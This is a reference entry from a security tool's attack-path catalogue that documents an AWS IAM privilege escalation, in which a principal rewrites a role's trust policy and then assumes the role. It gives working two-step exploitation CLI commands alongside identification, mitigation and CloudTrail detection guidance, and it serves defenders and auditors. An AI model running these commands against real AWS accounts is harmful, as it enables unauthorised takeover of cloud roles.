AWS_UPDATE_TRUST_AND_ASSUME

Summary

Forestall ACL Alias	AWS_UPDATE_TRUST_AND_ASSUME
AD Alias	N/A
Affected Object Types	AWSUser|AWSRole → AWSRole
Exploitation Certainty	High
AWS IAM Action	iam:UpdateAssumeRolePolicy + sts:AssumeRole

Description

An attacker who holds both iam:UpdateAssumeRolePolicy and sts:AssumeRole on a target role takes it over unconditionally. They rewrite the trust policy to trust their own principal, then assume the role immediately.

This is a consolidated privesc edge — it needs both actions on the same role. iam:UpdateAssumeRolePolicy alone changes who may assume the role; sts:AssumeRole alone is blocked when no trust exists. Together they form a two-step takeover that needs no prior trust relationship.

The standalone iam:UpdateAssumeRolePolicy case is modeled separately as AWS_UPDATE_TRUST (same-account takeover, no separate assume grant needed). This edge covers the cross-account case and the case where the assume permission is explicit.

Edge semantics: (Attacker:AWSUser|AWSRole) -[AWS_UPDATE_TRUST_AND_ASSUME]-> (TargetRole:AWSRole)

Precondition: none. The attacker sets the trust and assumes the role in sequence.

Identification

Check whether a principal holds both actions on the target role:

aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:UpdateAssumeRolePolicy sts:AssumeRole \
  --resource-arns "arn:aws:iam::<account-id>:role/<target-role>"

# View the current trust policy of a role
aws iam get-role --role-name <target-role> \
  --query "Role.AssumeRolePolicyDocument"

PowerShell (AWS Tools):

(Get-IAMRole -RoleName "<target-role>").AssumeRolePolicyDocument

Exploitation

# Step 1: Rewrite the trust policy to trust the attacker's principal
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "<attacker-arn>"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Step 2: Assume the role immediately
aws sts assume-role \
  --role-arn "arn:aws:iam::<account-id>:role/<target-role>" \
  --role-session-name hijack-session

Mitigation

• Restrict iam:UpdateAssumeRolePolicy to dedicated IAM administrator roles. Deny it for service and application roles.

• Use SCPs to block trust policy changes that introduce arbitrary external principals or wildcards.

• Apply resource-based conditions on sensitive roles — for example, require aws:PrincipalOrgID.

• Enforce IAM permission boundaries so a rewritten trust policy cannot grant more than the boundary allows.

• Use AWS IAM Access Analyzer to flag roles whose trust policies were recently modified.

Detection

CloudTrail Event	Description	Key Fields
UpdateAssumeRolePolicy	The trust policy of a role was modified	requestParameters.roleName, requestParameters.policyDocument, userIdentity.arn
AssumeRole	The role was assumed after trust modification	requestParameters.roleArn, userIdentity.arn

Alert when UpdateAssumeRolePolicy adds a new principal and AssumeRole on the same role follows within a short window. Also alert on any trust policy change that introduces a wildcard principal ("Principal": "*").

References

• AWS IAM: UpdateAssumeRolePolicy API

• AWS STS: AssumeRole API

• Rhino Security Labs: AWS IAM Privilege Escalation Methods

• HackTricks: AWS IAM Privesc, iam:UpdateAssumeRolePolicy